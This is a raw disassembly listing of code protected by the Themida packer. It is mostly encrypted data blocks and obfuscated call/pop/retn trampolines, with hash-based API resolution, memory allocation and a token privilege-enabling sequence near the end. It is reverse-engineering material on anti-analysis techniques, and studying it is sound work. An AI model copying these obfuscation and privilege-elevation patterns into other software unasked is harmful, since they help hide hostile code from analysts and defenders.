		dd 0F340858Dh, 6A0615h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 6DF99DC3h, 0D78B66CBh, 0FB8B6650h
		dd 0F34FB5FFh, 6A0615h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DCCDEDC3h, 817EF96Ch, 11499D89h
		dd 95890613h, 6130B19h,	4CD8D29h, 95FF0613h, 6131315h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h
		dd 0E774666Bh, 746AAD0Fh, 85BF668Bh, 0E7D181D7h, 566B29FAh
		dd 18A98D31h, 895F0613h, 15F36385h, 858DFC06h, 615F31Fh
		dd 0BAF9DF81h, 12B52DCDh, 55006A50h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 664C57C3h
		dd 0A950C781h, 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4E9F11C3h
		dd 0FF42D399h, 13131595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 1B8E6C9h, 122D1902h, 858994A6h, 615F35Bh
		dd 3169BD09h, 858D0613h, 615F312h, 1398D29h, 80500613h
		dd 0B5FF9AD5h, 615F34Fh, 0AE9h,	96783600h, 0A1A2A58h, 0FF94A210h
		dd 13131595h, 0AFD98006h, 0F35F8589h, 95290615h, 6131259h
		dd 0F32D858Dh, 0CE90615h, 2000000h, 0BC0A9E0Fh,	0A5F6020Ch
		dd 50F3D1F8h, 14E9h, 4B6F9200h,	0E210CA74h, 0AF41D4BBh
		dd 0BA9FDD58h, 1110EFh,	4FB5FF2Dh, 660615F3h, 2AB9F281h
		dd 1595FFFCh, 66061313h, 898BE1BAh, 13013D85h, 9E806h
		dd 79040000h, 97029FF5h, 894CF93Ah, 1331D98Dh, 66605A06h
		dd 6012C181h, 34C19D01h, 8D610613h, 15F2E185h, 0D1958B06h
		dd 50061325h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	9DC35646h, 0F98C3707h, 0EE2D55Eh, 39D1812Fh, 0FF3BF3F4h
		dd 15F34FB5h, 95FFFC06h, 6131315h, 8589CB8Bh, 615F353h
		dd 1EE78166h, 0F0858DE4h, 0E80615F2h, 12h, 0EFEC40F2h
		dd 96A35B72h, 0A0CAA421h, 0AB4E81AAh, 52533ABEh, 505F5F5Fh
		dd 12F98D8Bh, 0B5FF0613h, 615F34Fh, 13E9h, 0CFDEF500h
		dd 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh,	131595FFh
		dd 0BF0F0613h, 578589CBh, 810615F3h, 0DA569BD1h, 1046831h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0E4DF58C3h, 8B163113h, 1323A18Dh,	0E7858D06h
		dd 8B0615F3h, 13172DBDh, 198D0106h, 50061311h, 858DD78Bh
		dd 615F4EBh, 1518529h, 0F8500613h, 1B1595FFh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 5B5768C3h, 28C75B16h, 50989770h, 12E960h, 51350000h
		dd 9496BC94h, 0F64BD5Bh, 0EEF72340h, 82819643h,	5A616160h
		dd 850FC085h, 28h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0FC35141h, 8BE76349h,	132161BDh, 0D2BF0F06h
		dd 0FEC0BD80h, 0F000615h, 1D85h, 29958B00h, 0E9061319h
		dd 1558h, 0D18D8B56h, 59061311h, 5E9h, 951B0300h, 0BD837FF4h
		dd 6131505h, 6C850F00h,	0E9000000h, 13h, 0D8849313h, 0D9AD8CCBh
		dd 903F96C9h, 0D9A02F70h, 839AFDC6h, 16036ABDh,	840F0006h
		dd 87h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 83C35646h, 0AE8h, 0CEBD1500h, 9E9E7BEh, 0E890DE5Ch
		dd 0Ah,	0FE07DEBDh, 6A7AF155h, 800F009Bh, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		mov	ecx, 220DB50h
		lea	eax, [ebp+615F384h]
		push	0
		push	edx
		call	sub_5ADDF0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADDF0	proc near		; CODE XREF: Themida_:005ADDE8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5ADDF0	endp

; ---------------------------------------------------------------------------
		dd 0A30C0B7Eh, 1D2F6391h, 0E1EA8166h, 149AE944h, 8D290000h
		dd 61301E5h, 15E9h, 8D7FB100h, 15F36F85h, 58B0F06h, 0B9000000h
		dd 28DCD68h, 6A509EB6h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7FD3C353h, 8DBA35ACh
		dd 15F3E785h, 0B5896006h, 6131F75h, 8C0Fh, 50610000h, 0D2E78166h
		dd 5BD83F0h, 61315h, 41840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 15296C3h
		dd 132B3585h, 858D5906h, 615F50Dh, 1DADBD8Bh, 958B0613h
		dd 6132201h, 17E9h, 0BD9D8900h,	8D06132Eh, 15F4F685h, 5890F06h
		dd 66000000h, 167DD781h, 0E9EC8A50h, 0Dh, 31CC96C4h, 0FFFCB219h
		dd 847D6A2Ch, 45858D12h, 500615F5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 9CEA78Ch, 130A598Dh
		dd 8595FF06h, 6A061311h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 21ABC357h, 3BA9C27h
		dd 8307AD29h, 8F0F10C4h, 6, 25DD9589h, 0C08B0613h, 0B35BD8Bh
		dd 0BD830613h, 6131625h, 83097500h, 132C81BDh, 19740006h
		dd 0C08B5350h, 7D3B8h, 7D858900h, 8D06130Dh, 15A97D9Dh
		dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 7D3B8h, 7D858900h
		dd 8D06130Dh, 15A66C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 77EA9987h
		dd 25E4D9DEh, 0BD29EECCh, 6131A99h, 0EE8h, 4C049900h, 0D2E2F1EDh
		dd 50777C2Bh, 0FEE4810h, 580h, 0E141BA00h, 8B5952C7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1E7549A9h, 274B6002h, 6FBD8116h, 6F0615F3h, 0F616572h
		dd 0A684h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 403BD501h, 0BC2E981h, 858D682Fh
		dd 615F3E7h, 24858D50h,	500615F5h, 0F545858Dh, 0FF500615h
		dd 13118595h, 0CC48306h, 11E185C6h, 68440613h, 96A3184Fh
		dd 116DB5FFh, 858D0613h, 6133AADh, 0D88BD0FFh, 0F545858Dh
		dd 0FF500615h, 6F858DD3h, 500615F3h, 0F3E7858Dh, 83500615h
		dd 131505BDh, 8740006h,	0F50D858Dh, 6EB0615h, 0F4F6858Dh
		dd 8D500615h, 15F54585h, 95FF5006h, 6131185h, 8A10C483h
		dd 0C5BD89CCh, 0FF061320h, 13307195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 558F0858h, 0E1714CC8h, 0FF25F820h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 61E2C351h, 5F883A1h,	64830Fh, 11E80000h, 86000000h
		dd 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0E2AD377Eh, 0A5E28166h
		dd 85C75F39h, 613212Dh,	1, 13E9h, 3D36E000h, 0CCBE655Fh
		dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0F3A3858Dh,	0C9800615h
		dd 74E9F525h, 0E8000000h, 0Bh, 0E75F6FE6h, 3D706EF0h, 89372EA9h
		dd 1316BD85h, 0BD835A06h, 6131505h, 28840F00h, 60000000h
		dd 1F4D958Bh, 0F2810613h, 6D672087h, 9AEABF61h,	858D4324h
		dd 615F3CEh, 0F4D3B966h, 2EE9h,	0D8D8B00h, 8D061315h, 15F3B085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 518D8B2Fh, 8906132Ah, 15F3E385h,	0FFB8B06h
		dd 280h, 83EEB500h, 131505BDh, 850F0006h, 1Fh, 1FB5958Bh
		dd 0D2810613h, 1D07B092h, 36ABD83h, 0F000616h, 1684h, 0A5BD2300h
		dd 0E9061310h, 1094h, 6DC068BFh, 6D9D8913h, 0E9061321h
		dd 493h, 8BC88B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0DF2D146Ah, 45BF53E3h
		dd 95895781h, 6130B05h,	1625BD83h, 75000613h, 81BD8309h
		dd 6132Ch, 53501974h, 0D4B8C08Bh, 89000007h, 130D7D85h
		dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh,	17740006h
		dd 0D4B85350h, 89000007h, 130D7D85h, 6C9D8D06h,	0FF0615A6h
		dd 66585BD3h, 0B9F006BFh, 5CE31E5Dh, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A40981C3h
		dd 4E856B32h, 895F4867h, 1301FDB5h, 0E9816606h,	3F686973h
		dd 80000F00h, 6A0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 9AC35646h, 0CB4AEF94h, 28D0F96h, 0B1000000h
		dd 3006A8Dh, 1323218Dh,	0B995FF06h, 8B061301h, 13195995h
		dd 0FC08506h, 85h, 67858900h, 0E80615F3h, 7, 7FB625F6h
		dd 51FD6769h, 6A595FF5h, 47D78100h, 6A054D97h, 0DDBD8900h
		dd 6A061304h, 6AF500h, 1331BD8Bh, 6A0613h, 0AE9h, 234A3700h
		dd 91BC8581h, 8DD0E5C6h, 15F54585h, 0E18D8B06h,	50061316h
		dd 68A0Fh, 0BD8B0000h, 6130709h, 0BD0B016Ah, 6131E55h
		dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 877C5BC3h, 5E82Ah, 5EC40000h, 8931D8BAh
		dd 13128D9Dh, 16A5F06h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 3DC35242h, 0F01FF68h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0D56E0F52h, 19F28072h, 1B99BD8Bh, 0BD830613h, 6131505h
		dd 25840F00h, 0F9000000h, 0F3C4858Dh, 0EE90615h, 40000000h
		dd 0B4E9F88Dh, 5BF51D38h, 2F2A877Ch, 0EE9FAh, 958B0000h
		dd 6132989h, 0F39A858Dh, 5A570615h, 0A59D8950h,	5006132Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h
		dd 891121EDh, 1317118Dh, 11858906h, 0FF061314h,	15F367B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B96655A1h, 95FF76CBh, 615F353h,	9D8B60FCh
		dd 6130A35h, 22ADB58Bh,	85610613h, 0B850FC0h, 66000000h
		dd 56E9CB8Bh, 0F000000h, 8589C9B7h, 615F36Bh, 0B5FFEA8Ah
		dd 615F36Bh, 8E9h, 0E72E9900h, 79EC8A99h, 3D95FFCDh, 66061301h
		dd 850F4DBFh, 26850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33A4C352h
		dd 89D73A3Dh, 132A3D9Dh, 8B106A06h, 130B1D8Dh, 0FE96006h
		dd 61000000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h,	0B58B04FCh
		dd 6130021h, 5BD8361h, 61315h, 4B840Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0D735A3C3h, 59C5CDACh, 0BA6046C7h, 637EBBC5h, 61F1B70Fh
		dd 63CF8166h, 0C4858D81h, 560615F3h, 24919D29h,	0E9590613h
		dd 0Dh,	0E5EF8166h, 9A858DADh, 0B10615F3h, 8D8B5010h, 613193Dh
		dd 0F367B5FFh, 0B5010615h, 61324F9h, 0F35F95FFh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 921E05C3h, 8B6667A8h, 0FC085D0h, 2285h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 25CF8101h, 890EF251h, 15F36B85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 302C6DC0h
		dd 0DDB38E20h, 6660006Ah, 6A61C28Bh, 0FFDBB500h, 15F36BB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C8563153h, 16564737h, 20F59509h, 95FF0613h
		dd 615F357h, 0C085CB8Ah, 6850Fh, 0F1810000h, 5B21ED4h
		dd 0F36BB5FFh, 850F0615h, 16h, 10800Fh,	0BE90000h, 4F000000h
		dd 6F7B428Ah, 785CE3DAh, 95FF814Ch, 613013Dh, 0C3BF66F9h
		dd 0FC0850Bh, 685h, 19852900h, 6A061312h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0E9D725D1h, 0Dh, 0D0B01AF8h,	0CC6ED4A2h, 8DD8E669h
		dd 0EEBF6600h, 8068B6h,	958B0000h, 61330B5h, 8D29036Ah
		dd 6132841h, 8B66006Ah,	0E8006ACFh, 9, 50146F55h, 9B735357h
		dd 0FB8B66ABh, 685Fh, 6AC000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B5FF19C3h, 615F3E3h
		dd 1B9D95FFh, 0BD890613h, 6131091h, 0FFFF883h, 4D685h
		dd 10E900h, 13870000h, 0AAE45CAh, 35B5472Ch, 3E269AC9h
		dd 85FF29B8h, 615FE51h,	83FE8B66h, 15FE51BDh, 840F0206h
		dd 390h, 243B858Dh, 8166005Bh, 0FF467CDAh, 38E980D0h, 1E8E858Dh
		dd 9589005Bh, 6130B75h,	0FE9h, 2A73B400h, 22C57A3h, 0A78F6AD6h
		dd 50D1B7DBh, 8D8BD0FFh, 6132879h, 8166C08Bh, 830E93D9h
		dd 131625BDh, 9750006h,	2C81BD83h, 74000613h, 8B535019h
		dd 7D8B8C0h, 85890000h,	6130D7Dh, 0A97D9D8Dh, 0D3FF0615h
		dd 0BD83585Bh, 6132C81h, 50177400h, 7D8B853h, 85890000h
		dd 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h, 0BD03585Bh, 6130E09h
		dd 8D33C08Bh, 6131E41h,	0F003F68h, 84BA6600h, 8A006A96h
		dd 68B0FF3h, 89000000h,	1306D9B5h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E789C356h, 198D8B0Ah, 0FF061301h, 1301B995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0C085B325h, 0C9BD3151h, 5F06131Bh, 0F3678589h, 0F88B0615h
		dd 0F01FF68h, 0E98D3300h, 83061313h, 131505BDh,	840F0006h
		dd 57h,	6D858B60h, 0FC061323h, 8DCF8B61h, 15F3C485h, 0D2BF0F06h
		dd 44E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 25C354A7h, 0F129031h, 687h, 0E9852900h
		dd 0E906132Ch, 0Bh, 314EE7CDh, 0D83C17CBh, 8D6CFB93h, 15F39A85h
		dd 6A5006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0CE811C3h, 0BE000000h, 43840C5Eh,	84E1AD24h
		dd 6677AA86h, 2A62F281h, 67B5FF59h, 0F0615F3h, 158Dh, 10E900h
		dd 0A4120000h, 0EDBE148Dh, 4AB636FBh, 93EC647Ch, 95FF4D2Fh
		dd 615F35Fh, 6850Fh, 0B5890000h, 61312A1h, 0F36B8589h
		dd 0FE80615h, 44000000h, 4D8FF04Eh, 93C61745h, 0BFD99B29h
		dd 9D898C8Bh, 61324D5h,	5185C75Fh, 61315h, 0BF000000h
		dd 536A5C26h, 83CF8B66h, 15F36BBDh, 840F0006h, 15Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B6C35141h, 1897F0A6h
		dd 858DA6DAh, 615F649h,	2C3D8D03h, 60B90613h, 501D146Dh
		dd 3485952Bh, 16A0613h,	2C9DBD8Bh, 0BD8B0613h, 6132BA1h
		dd 0F36BB5FFh, 14E90615h, 52000000h, 81FE9B38h,	5C72D65Ah
		dd 3876DD79h, 3D2C08FFh, 0FF96E20Dh, 15F36395h,	0B1BD8906h
		dd 0FF061318h, 15F36BB5h, 0CFB70F06h, 13D95FFh,	0C7810613h
		dd 436CBCF0h, 0F01FF68h, 0DBD8B00h, 83061315h, 131505BDh
		dd 840F0006h, 1Ch, 8DD0B70Fh, 15F3C485h, 41858906h, 0E9061300h
		dd 11h,	0BD8BF98Bh, 6133265h, 0F39A858Dh, 0EA800615h, 0B5FF50B9h
		dd 615F367h, 0F35F95FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 67CA45C3h, 62EC2544h
		dd 9BD9D89h, 85890613h,	615F36Bh, 94DBD8Bh, 0B5FF0613h
		dd 615F36Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0E3C35040h, 0D649584Bh,	0CAD028A7h, 5B95FF04h
		dd 310615F3h, 130E918Dh, 218D8906h, 0FF061328h,	15F36BB5h
		dd 5E906h, 0FE200000h, 0FFBA69B8h, 13013D95h, 0F8B70F06h
		dd 0FFF71EE9h, 816657FFh, 597187F1h, 0FEB4B5FFh, 6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D4059C3h, 0FEF8166h, 8995FFB2h, 8906131Dh, 13095595h
		dd 95858B06h, 0BA06131Bh, 13854D3Fh, 55DE9h, 318D8900h
		dd 8D06130Ch, 15F669B5h, 4D858D06h, 6A0615A3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0B7E4C356h, 0EF92B2BFh, 0E9D0FF3Ah, 0Ch, 5B7CEF16h
		dd 8EB447C5h, 69908EFFh, 958B006Ah, 6130935h, 1CBD95FFh
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 232FC9C3h, 0C4325F54h, 0E580A830h, 8B64B2FDh
		dd 6E9F3h, 8D5D0000h, 0B2BF0AB3h, 0A34D858Dh, 9D890615h
		dd 61321B9h, 0CE8h, 0E409C100h,	37C44795h, 17901C23h, 5E96Bh
		dd 3F8B0000h, 5A31433Fh, 0BE9D0FFh, 2C000000h, 0AD315863h
		dd 64CB702Ch, 6ABC4Dh, 12F1BD8Bh, 95FF0613h, 6131CBDh
		dd 8BD18B66h, 0BD83F8C0h, 6131625h, 83097500h, 132C81BDh
		dd 19740006h, 0C08B5350h, 7D9B8h, 7D858900h, 8D06130Dh
		dd 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h
		dd 7D9B8h, 7D858900h, 8D06130Dh, 15A66C9Dh, 5BD3FF06h
		dd 99958958h, 0F06131Eh, 686h, 33E78100h, 8B306AE0h, 50F78AC0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h
		dd 892B7EC3h, 1321498Dh, 1D88B06h, 131E619Dh, 9D8D5306h
		dd 613065Dh, 389038Bh, 8950438Bh, 9D8D5043h, 615FE4Dh
		dd 389038Bh, 0CC6FB95Bh, 8B6670DEh, 0F006ACFh, 8D8BCBBFh
		dd 6131145h, 0FE4D858Dh, 50F90615h, 16E19D89h, 606A0613h
		dd 31619589h, 858D0613h, 613065Dh, 50D78B66h, 8D8B90B1h
		dd 61316B5h, 0B70F006Ah, 8B006ACBh, 1331E58Dh, 18006806h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8971D6C3h, 132301BDh, 8B505306h, 1305ED95h
		dd 95FF5F06h, 6130C51h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 6DC35646h, 0C09EA5C4h, 58F021AAh, 0FFD2B70Fh
		dd 13120995h, 158D8B06h, 0FF061309h, 15FEB4B5h,	698D8B06h
		dd 0FF06132Bh, 131D8995h, 0C9853106h, 8D06131Ah, 13065D85h
		dd 29958B06h, 8B06131Dh, 6A1840h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0FC76B9C3h, 0F962CDC3h
		dd 0AA585C7h, 613h, 80560000h, 835A7BCDh, 131505BDh, 840F0006h
		dd 47h,	31458D8Bh, 8C3D0613h, 0F000000h
		dd 1B583h, 12D98100h, 0E9343B7Fh, 3Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0EAC35141h,	0F1EC42F5h, 8B74D173h
		dd 13349DBDh, 3DF88B06h, 98h, 174830Fh,	8D8B0000h, 6130781h
		dd 243B858Dh, 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0D0FF6CC3h, 2B2D8501h, 858D0613h
		dd 5B1E8Eh, 0DDC18166h,	0D18B66B1h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0FD4921C3h
		dd 38C47AB3h, 758D8B0Dh, 8B061310h, 0FE8B66C0h,	1625BD83h
		dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0C6B8C08Bh
		dd 8900000Bh, 130D7D85h, 7D9D8D06h, 0FF0615A9h,	83585BD3h
		dd 132C81BDh, 17740006h, 0C6B85350h, 8900000Bh,	130D7D85h
		dd 6C9D8D06h, 0FF0615A6h, 8B585BD3h, 1309EDBDh,	0CA8B6606h
		dd 5E8C08Bh, 9B000000h,	0F4883E76h, 0FFF8835Ah,	7C850Fh
		dd 0C7F50000h, 13233985h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 11BE913h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3F8EF4C3h, 46FABCD8h, 860FC1A9h, 0
; ---------------------------------------------------------------------------
		movzx	ecx, bx
		jmp	loc_5AEFB4
; ---------------------------------------------------------------------------
		or	[ebp+6133161h],	esi
		jmp	loc_5AEF9A
; ---------------------------------------------------------------------------
		db 95h
		dd 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch, 0D4994965h
		db 1Fh,	0DAh
; ---------------------------------------------------------------------------


loc_5AEF9A:				; CODE XREF: Themida_:005AEF82j
		cmp	eax, 1
		jnz	loc_5AEFB4
		mov	edx, [ebp+6132A05h]
		jmp	loc_5AF0B6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+6130005h]


loc_5AEFB4:				; CODE XREF: Themida_:005AEF77j
					; Themida_:005AEF9Dj
		jmp	near ptr dword_5ADE00+42Bh
; ---------------------------------------------------------------------------
		cld
		mov	eax, eax
		mov	edi, eax
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5AEFD0
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AEFE9


loc_5AEFD0:				; CODE XREF: Themida_:005AEFC5j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A97Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AEFE9:				; CODE XREF: Themida_:005AEFCEj
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AF009
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A66Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AF009:				; CODE XREF: Themida_:005AEFF0j
		push	0
		push	esi
		call	sub_5AF014
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF014	proc near		; CODE XREF: Themida_:005AF00Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5AF014	endp

; ---------------------------------------------------------------------------
		xor	al, 60h
		dec	ebp
		sbb	byte ptr [eax+64h], 0F8h
		sub	ch, 0D4h
		push	0
		push	ebp
		call	sub_5AF039
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF039	proc near		; CODE XREF: Themida_:005AF031p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5AF039	endp

; ---------------------------------------------------------------------------
		xor	dl, al
		xor	al, 86h
		fiadd	dword ptr [esi+ebp*8+32h]
		mov	ebp, 8B6BB235h
		ror	byte ptr [ebx+1323858Dh], 6
		jmp	loc_5AF2AC
; ---------------------------------------------------------------------------
		push	ecx
		cld
		pop	ecx
		lea	eax, [ebp+615FC51h]
		add	[ebp+6132035h],	ecx
		mov	[ebp+615FE49h],	eax
		mov	[ebp+613225Dh],	edx
		jmp	loc_5AF100
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5AF08D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF08D	proc near		; CODE XREF: Themida_:005AF085p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5AF08D	endp

; ---------------------------------------------------------------------------
		db 6, 0EEh, 5Ch
		dd 0D6EB0F95h, 8E0FCD61h, 6, 9CC9D781h,	0B557654Fh
		db 35h,	59h
; ---------------------------------------------------------------------------


loc_5AF0B6:				; CODE XREF: Themida_:005AEFA9j
		lea	eax, [ebp+615FA59h]
		jmp	loc_5AF0CF
; ---------------------------------------------------------------------------
		db 0A0h, 0B3h, 0CFh
		dd 0D50F1FEFh, 95360899h
		db 61h,	0D2h, 68h
; ---------------------------------------------------------------------------


loc_5AF0CF:				; CODE XREF: Themida_:005AF0BCj
		inc	eax
		push	0
		push	ecx
		call	sub_5AF0DB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF0DB	proc near		; CODE XREF: Themida_:005AF0D3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5AF0DB	endp

; ---------------------------------------------------------------------------
		db 62h
		dd 10A1E834h, 76D73FB3h, 0FE498589h, 85890615h,	6130BE9h
; ---------------------------------------------------------------------------


loc_5AF100:				; CODE XREF: Themida_:005AF07Dj
		push	34h
		lea	eax, [ebp+6132AA5h]
		push	eax
		push	dword ptr [ebp+615FE49h]
		push	0
		call	dword ptr [ebp+6130155h]
		cmp	eax, 7
		jz	loc_5AF288
		mov	bx, ds
		test	bl, 4
		jnz	loc_5AF22E
		mov	byte ptr [ebp+61311E1h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+615FEBCh],	eax
		mov	byte ptr [ebp+61311E1h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+61311E1h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+61307C9h]
		lea	eax, [ebp+6133AADh]
		call	eax
		lea	ebx, [ebp+615FEB8h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+61311E1h], 41h
		push	0DB876498h
		push	dword ptr [ebp+61307C9h]
		lea	eax, [ebp+6133AADh]
		call	eax
		mov	[ebp+615FED5h],	eax
		mov	byte ptr [ebp+61311E1h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+61307C9h]
		lea	eax, [ebp+6133AADh]
		call	eax
		mov	ebx, [ebp+615FEBCh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+615FEC1h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+615FEBCh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+6131AB9h]
		mov	dword ptr [ebp+61304F1h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+615FEBCh]
		push	ebx
		push	0
		push	dword ptr [ebp+615FEB8h]
		call	dword ptr [ebp+615FED5h]


